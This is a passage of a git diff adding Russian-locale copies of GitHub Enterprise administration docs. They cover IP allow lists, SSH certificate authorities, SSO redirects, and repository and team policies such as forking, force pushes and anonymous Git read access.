outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable two-factor authentication before they can accept your invitation. + +{% endif %} + +{% ifversion ghec or ghae %} + +## Managing allowed IP addresses for organizations in your enterprise + +{% ifversion ghae %} + +You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)." + +{% elsif ghec %} + +Enterprise owners can restrict access to private assets owned by organizations in an enterprise by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %} + +{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %} + +{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} + +You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)." + +### Adding an allowed IP address + +{% data reusables.identity-and-permissions.about-adding-ip-allow-list-entries %} + +{% data reusables.identity-and-permissions.ipv6-allow-lists %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-description %} +{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} +{% data reusables.identity-and-permissions.check-ip-address %} + +### Allowing access by {% data variables.product.prodname_github_apps %} + +{% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %} + +### Enabling allowed IP addresses + +{% data reusables.identity-and-permissions.about-enabling-allowed-ip-addresses %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +3. Under "IP allow list", select **Enable IP allow list**. + ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png) +4. Click **Save**. + +### Editing an allowed IP address + +{% data reusables.identity-and-permissions.about-editing-ip-allow-list-entries %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %} +{% data reusables.identity-and-permissions.ip-allow-lists-edit-description %} +8. Click **Update**. +{% data reusables.identity-and-permissions.check-ip-address %} + +{% ifversion ip-allow-list-address-check %} +### Checking if an IP address is permitted + +{% data reusables.identity-and-permissions.about-checking-ip-address %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.check-ip-address-step %} +{% endif %} + +### Deleting an allowed IP address + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %} +{% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %} + +### Using {% data variables.product.prodname_actions %} with an IP allow list + +{% data reusables.actions.ip-allow-list-self-hosted-runners %} + +{% endif %} + +{% endif %} + +## Managing SSH certificate authorities for your enterprise + +You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)." + +{% data reusables.organizations.add-extension-to-cert %} + +### Adding an SSH certificate authority + +If you require SSH certificates for your enterprise, enterprise members should use a special URL for Git operations over SSH. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#about-ssh-urls-with-ssh-certificates)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.organizations.new-ssh-ca %} +{% data reusables.organizations.require-ssh-cert %} + +### Deleting an SSH certificate authority + +Deleting a CA cannot be undone. If you want to use the same CA in the future, you'll need to upload the CA again. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.organizations.delete-ssh-ca %} + +{% ifversion ghec %} + +## Managing SSO for unauthenticated users + +If your enterprise uses {% data variables.product.prodname_emus %}, you can choose what unauthenticated users see when they attempt to access your enterprise's resources. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users)." + +By default, to hide the existence of private resources, when an unauthenticated user attempts to access your enterprise, {% data variables.product.company_short %} displays a 404 error. + +To prevent confusion from your developers, you can change this behavior so that users are automatically redirected to single sign-on (SSO) through your identity provider (IdP). When you enable automatic redirects, anyone who visits the URL for any of your enterprise's resources will be able to see that the resource exists. However, they'll only be able to see the resource if they have appropriate access after authenticating with your IdP. + +{% note %} + +**Note:** If a user is signed in to their personal account when they attempt to access any of your enterprise's resources, they'll be automatically signed out and redirected to SSO to sign in to their {% data variables.enterprise.prodname_managed_user %}. For more information, see "[Managing multiple accounts](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)." + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +1. Under "Single sign-on settings", select or deselect **Automatically redirect users to sign in**. + + ![Checkbox to automatically redirect users to sign in](/assets/images/enterprise/security/Enterprise-Redirect-Users-To-Sign-In-Checkbox.png) + +## Further reading + +- "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)"{% ifversion ghec %} +- "[Accessing compliance reports for your enterprise](/admin/overview/accessing-compliance-reports-for-your-enterprise)"{% endif %} +{% endif %} diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md new file mode 100644 index 000000000000..991873cdca53 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md @@ -0,0 +1,368 @@ +--- +title: Enforcing repository management policies in your enterprise +intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.' +permissions: Enterprise owners can enforce policies for repository management in an enterprise. +redirect_from: + - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance + - /enterprise/admin/guides/user-management/preventing-users-from-changing-a-repository-s-visibility + - /enterprise/admin/user-management/preventing-users-from-changing-a-repositorys-visibility + - /enterprise/admin/user-management/restricting-repository-creation-in-your-instance + - /enterprise/admin/user-management/preventing-users-from-deleting-organization-repositories + - /enterprise/admin/installation/setting-git-push-limits + - /enterprise/admin/guides/installation/git-server-settings + - /enterprise/admin/articles/setting-git-push-limits + - /enterprise/admin/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories + - /enterprise/admin/installation/disabling-the-merge-conflict-editor-for-pull-requests-between-repositories + - /enterprise/admin/developer-workflow/blocking-force-pushes-on-your-appliance + - /enterprise/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization + - /enterprise/admin/developer-workflow/blocking-force-pushes-to-a-repository + - /enterprise/admin/articles/blocking-force-pushes-on-your-appliance + - /enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access-to-a-repository + - /enterprise/admin/user-management/preventing-users-from-changing-anonymous-git-read-access + - /enterprise/admin/articles/blocking-force-pushes-to-a-repository + - /enterprise/admin/articles/block-force-pushes + - /enterprise/admin/articles/blocking-force-pushes-for-a-user-account + - /enterprise/admin/articles/blocking-force-pushes-for-an-organization + - /enterprise/admin/articles/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization + - /enterprise/admin/developer-workflow/blocking-force-pushes + - /enterprise/admin/policies/enforcing-repository-management-policies-in-your-enterprise + - /admin/policies/enforcing-repository-management-policies-in-your-enterprise + - /articles/enforcing-repository-management-settings-for-organizations-in-your-business-account + - /articles/enforcing-repository-management-policies-for-organizations-in-your-enterprise-account + - /articles/enforcing-repository-management-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/enforcing-repository-management-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/enforcing-repository-management-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-repository-management-policies-in-your-enterprise-account +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Policies + - Repositories + - Security +shortTitle: Repository management policies +--- + +## About policies for repository management in your enterprise + +You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage repositories. You can also allow organization owners to manage policies for repository management. For more information, see "[Creating and managing repositories](/repositories/creating-and-managing-repositories) and "[Organizations and teams](/organizations)." + +{% ifversion ghes or ghae %} + +## Configuring the default visibility of new repositories + +Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." + +If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% ifversion ghes or ghae %} +{% data reusables.enterprise-accounts.policies-tab %} +{% else %} +{% data reusables.enterprise-accounts.settings-tab %} +{% endif %} +{% data reusables.enterprise-accounts.options-tab %} +1. Under "Default repository visibility", use the drop-down menu and select a default visibility. + ![Drop-down menu to choose the default repository visibility for your enterprise](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png) + +{% data reusables.enterprise_installation.image-urls-viewable-warning %} + +{% endif %} + +## Enforcing a policy for base repository permissions + +Across all organizations owned by your enterprise, you can set a base repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.repositories-tab %} +4. Under "Base permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "Base permissions", use the drop-down menu and choose a policy. + ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png) + + +## Enforcing a policy for repository creation + +Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. + +If you allow members to create repositories in your organizations, you can choose which types of repositories (public, private, and internal) that members can create. + +{% ifversion enterprise-namespace-repo-setting %} +{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, you{% else %}You{% endif %} can also prevent users from creating repositories owned by their user accounts. +{% endif %} + +{% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see "[Creating an internal repository](/articles/creating-an-internal-repository)." + +{% data reusables.organizations.repo-creation-constants %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.repositories-tab %} +5. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +{% data reusables.enterprise-accounts.repo-creation-policy %} +{% data reusables.enterprise-accounts.repo-creation-types %}{% ifversion enterprise-namespace-repo-setting %} +1. Optionally, {% ifversion ghec %}if your enterprise uses {% data variables.product.prodname_emus %} and you want {% endif %}to prevent enterprise members from creating repositories owned by their user accounts, select **Block the creation of user namespace repositories**. + ![Screenshot showing the list of disabled options from forking policy](/assets/images/help/business-accounts/restrict-personal-namespace-enabled-setting.png){% endif %} + +## Enforcing a policy for forking private or internal repositories +Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level. + +{% ifversion org-owners-limit-forks-creation %} +People with admin permissions can set a more granular forking policy. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." +{% endif %} + +{% ifversion enterprise-namespace-repo-setting %} +{% note %} + +**Note:** If {% ifversion ghec %}your enterprise uses {% data variables.product.prodname_emus %} and {% endif %}your "Repository creation" policy prevents enterprise members from creating repositories owned by their user accounts, members will not be allowed to fork a repository in their user accounts, regardless of your "Repository forking" policy. + +{% endnote %} +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.repositories-tab %} +1. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +2. Under "Repository forking", use the dropdown menu and choose a policy. + + ![Drop-down menu with repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png){% ifversion innersource-fork-policies %} +5. If forking is enabled, you can specify where users are allowed to fork repositories. Review the information about changing the setting and choose a policy. + + ![Screenshot showing the list of repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-settings.png){% endif %} + +## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories + +Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, {% ifversion prevent-org-admin-add-outside-collaborator %}restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to enterprise owners, {% endif %}or allow organization owners to administer the setting on the organization level. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.repositories-tab %} +3. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +4. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", use the drop-down menu and choose a policy. + + {% ifversion ghec %} + ![Drop-down menu with outside collaborator invitation policy options](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png) + {% elsif ghes or ghae %} + ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png) + {% endif %} + +## Enforcing a policy for the default branch name + +Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +3. On the **Repository policies** tab, under "Default branch name", enter the default branch name that new repositories should use. + ![Text box for entering default branch name](/assets/images/help/business-accounts/default-branch-name-text.png) +4. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**. + ![Enforcement checkbox](/assets/images/help/business-accounts/default-branch-name-enforce.png) +5. Click **Update**. + ![Update button](/assets/images/help/business-accounts/default-branch-name-update.png) + +## Enforcing a policy for changes to repository visibility + +Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository. + +If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. If an enterprise owner has restricted member repository creation to private repositories only, then members will only be able to change the visibility of a repository to private. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.repositories-tab %} +1. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +1. Under "Repository visibility change", use the drop-down menu and choose a policy. + ![Drop-down menu with repository visibility policy options](/assets/images/help/business-accounts/repository-visibility-policy-drop-down.png) + +## Enforcing a policy for repository deletion and transfer + +Across all organizations owned by your enterprise, you can allow members with admin permissions to delete or transfer a repository, restrict repository deletion and transfers to organization owners, or allow owners to administer the setting on the organization level. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.repositories-tab %} +5. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} + +{% data reusables.enterprise-accounts.repository-deletion-policy %} + +## Enforcing a policy for deleting issues + +Across all organizations owned by your enterprise, you can allow members with admin access to delete issues in a repository, restrict issue deletion to organization owners, or allow owners to administer the setting on the organization level. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +3. On the **Repository policies** tab, under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +4. Under "Repository issue deletion", use the drop-down menu and choose a policy. + + ![Drop-down menu with issue deletion policy options](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png) + +{% ifversion ghes or ghae %} + +## Enforcing a policy for Git push limits + +To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise. + +By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.options-tab %} +4. Under "Repository upload limit", use the drop-down menu and click a maximum object size. +![Drop-down menu with maximum object size options](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png) +5. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories** +![Enforce maximum object size on all repositories option](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png) + +{% ifversion profile-name-enterprise-setting %} + +## Enforcing a policy for the display of member names in your repositories + +Across all organizations owned by your enterprise, you can allow members to see a comment author's profile name, in addition to their username, in issues and pull requests for public and internal repositories. + +![Commenter's profile name displayed in comment](/assets/images/help/issues/commenter-full-name.png) + +{% note %} + +**Note:** When this policy is enforced for all repositories in the enterprise, it overrides the organization setting for private repositories. For more information, see "[Managing the display of member names in your organization](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization)". + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.options-tab %} +4. Under "Allow members to see the comment author's profile name in public and internal repositories", select the dropdown menu and click a policy. +![Screenshot of Options page with policy drop down emphasized](/assets/images/enterprise/site-admin-settings/comment-authors-profile-name-drop-down.png) +5. Optionally, to enforce the display of profile names for all repositories in your enterprise, select **Enforce for all repositories on the instance**. +![Screenshot of "Enforce for all repositories" option emphasized](/assets/images/enterprise/site-admin-settings/enforce-for-all-repositories-option.png) + +{% endif %} + +## Configuring the merge conflict editor for pull requests between repositories + +Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% ifversion ghes or ghae %} +{% data reusables.enterprise-accounts.policies-tab %} +{% else %} +{% data reusables.enterprise-accounts.settings-tab %} +{% endif %} +{% data reusables.enterprise-accounts.options-tab %} +1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**. + ![Drop-down menu with option to disable the merge conflict editor](/assets/images/enterprise/settings/conflict-editor-settings.png) + +## Configuring force pushes + +Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization. + +### Blocking force pushes to all repositories + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.options-tab %} +4. Under "Force pushes", use the drop-down menu, and click **Allow**, **Block** or **Block to the default branch**. +![Force pushes dropdown](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png) +5. Optionally, select **Enforce on all repositories**, which will override organization and repository level settings for force pushes. + +### Blocking force pushes to a specific repository + +{% data reusables.enterprise_site_admin_settings.override-policy %} + +{% data reusables.enterprise_site_admin_settings.sign-in %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.repository-search %} +{% data reusables.enterprise_site_admin_settings.click-repo %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +4. Select **Block** or **Block to the default branch** under **Push and Pull**. + ![Block force pushes](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png) + +### Blocking force pushes to repositories owned by a user account or organization + +Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise. + +You can override the default inherited settings by configuring the settings for a user account or organization. + +{% data reusables.enterprise_site_admin_settings.sign-in %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.search-user-or-org %} +{% data reusables.enterprise_site_admin_settings.click-user-or-org %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +5. Under "Repository default settings" in the "Force pushes" section, select + - **Block** to block force pushes to all branches. + - **Block to the default branch** to only block force pushes to the default branch. + ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png) +6. Optionally, select **Enforce on all repositories** to override repository-specific settings. Note that this will **not** override an enterprise-wide policy. + ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png) + +{% endif %} + +{% ifversion ghes %} + +## Configuring anonymous Git read access + +{% data reusables.enterprise_user_management.disclaimer-for-git-read-access %} + +If you have [enabled private mode](/enterprise/admin/configuration/enabling-private-mode) for {% data variables.location.product_location %}, you can allow repository administrators to enable anonymous Git read access to public repositories. + +Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.product.product_name %}) will have read access to the repository without authentication. + +Anonymous Git read access is disabled by default.{% ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 or ghes = 3.7 %} When you upgrade to {% data variables.product.product_name %} 3.6 or later, anonymous Git read access is automatically disabled at the application level, and `git://` connections on port 9418 will return the following error. + +``` +The unauthenticated git protocol on port 9418 is no longer supported. +``` + +{% ifversion ghes > 3.5 %} + +If you wish to support the unathenticated Git protocol in your environment, you must manually re-enable the feature. Run the following commands after your upgrade: + +```ShellSession +$ sudo ghe-config app.gitauth.git-protocol true +$ sudo ghe-config-apply +``` + +{% endif %} + +Anonymous Git read access will be entirely removed in a future release of {% data variables.product.prodname_ghe_server %}. {% data variables.product.company_short %} recommends using SSH instead of the Git protocol. For more information about this change, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server). + +{% endif %} + + + +If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting. + +{% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %} + +{% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %} + +### Setting anonymous Git read access for all repositories + +{% data reusables.enterprise-accounts.access-enterprise %} +{% ifversion ghes or ghae %} +{% data reusables.enterprise-accounts.policies-tab %} +{% else %} +{% data reusables.enterprise-accounts.settings-tab %} +{% endif %} +{% data reusables.enterprise-accounts.options-tab %} +4. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**. +![Anonymous Git read access drop-down menu showing menu options "Enabled" and "Disabled"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png) +3. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**. +![Select checkbox to prevent repository admins from changing anonymous Git read access settings for all repositories on your enterprise](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png) + +### Setting anonymous Git read access for a specific repository + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.repository-search %} +{% data reusables.enterprise_site_admin_settings.click-repo %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +6. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**. +!["Enabled" button under "Enable anonymous Git read access" in danger zone of a repository's site admin settings ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png) +7. Review the changes. To confirm, click **Yes, enable anonymous Git read access.** +![Confirm anonymous Git read access setting in pop-up window](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png) +8. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from changing anonymous Git read access**. +![Select checkbox to prevent repository admins from changing anonymous Git read access for this repository](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png) + +{% endif %} diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md new file mode 100644 index 000000000000..e5caedb2f652 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md @@ -0,0 +1,42 @@ +--- +title: Применение политик команды в организации +intro: Вы можете применять политики для команд в организациях вашего предприятия или разрешить настройку политик в каждой организации. +permissions: Enterprise owners can enforce policies for teams in an enterprise. +redirect_from: + - /articles/enforcing-team-settings-for-organizations-in-your-business-account + - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account + - /articles/enforcing-team-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/enforcing-team-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/enforcing-team-policies-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-team-policies-in-your-enterprise-account +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Policies + - Teams +shortTitle: Team policies +ms.openlocfilehash: 310c542d648e869241c019e874d946f227fded5c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116376' +--- +## Сведения о политиках для команд в организации + +Вы можете применять политики для управления тем, как члены предприятия в {% data variables.product.product_name %} управляют командами. Вы также можете разрешить владельцам организации управлять политиками для команд. Дополнительные сведения см. в статье "[Сведения о командах](/organizations/organizing-members-into-teams/about-teams)". + +## Применение политики для обсуждений в команде + +Во всех организациях, принадлежащих вашему предприятию, вы можете включить или отключить обсуждения команды или разрешить владельцам управлять настройкой на уровне организации. Дополнительные сведения см. в разделе [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions/). + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} +3. На боковой панели слева нажмите **Команды**. + ![Вкладка "Команды" на боковой панели параметров корпоративной учетной записи](/assets/images/help/business-accounts/settings-teams-tab.png) +4. В разделе "Обсуждения в команде" просмотрите сведения об изменении настройки. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. В разделе "Обсуждения в команде" используйте раскрывающееся меню и выберите политику. + ![Раскрывающееся меню с параметрами политики обсуждения в команде](/assets/images/help/business-accounts/team-discussion-policy-drop-down.png) diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/index.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/index.md new file mode 100644 index 000000000000..9f7c93d9a697 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/index.md @@ -0,0 +1,34 @@ +--- +title: Применение политик для предприятия +intro: Можно настроить политики для организаций вашего предприятия. +redirect_from: + - /enterprise/admin/policies/enforcing-policies-for-your-enterprise + - /articles/setting-policies-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/setting-policies-for-organizations-in-your-enterprise-account +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise + - Policies +children: + - /about-enterprise-policies + - /enforcing-repository-management-policies-in-your-enterprise + - /enforcing-team-policies-in-your-enterprise + - /enforcing-policies-for-projects-in-your-enterprise + - /restricting-email-notifications-for-your-enterprise + - /enforcing-policies-for-security-settings-in-your-enterprise + - /enforcing-policies-for-dependency-insights-in-your-enterprise + - /enforcing-policies-for-github-actions-in-your-enterprise + - /enforcing-policies-for-code-security-and-analysis-for-your-enterprise + - /enforcing-policies-for-personal-access-tokens-in-your-enterprise +shortTitle: Enforce policies +ms.openlocfilehash: 515d58cdc9147e2b166397686997a3bd8378a476 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148093524' +--- + diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md 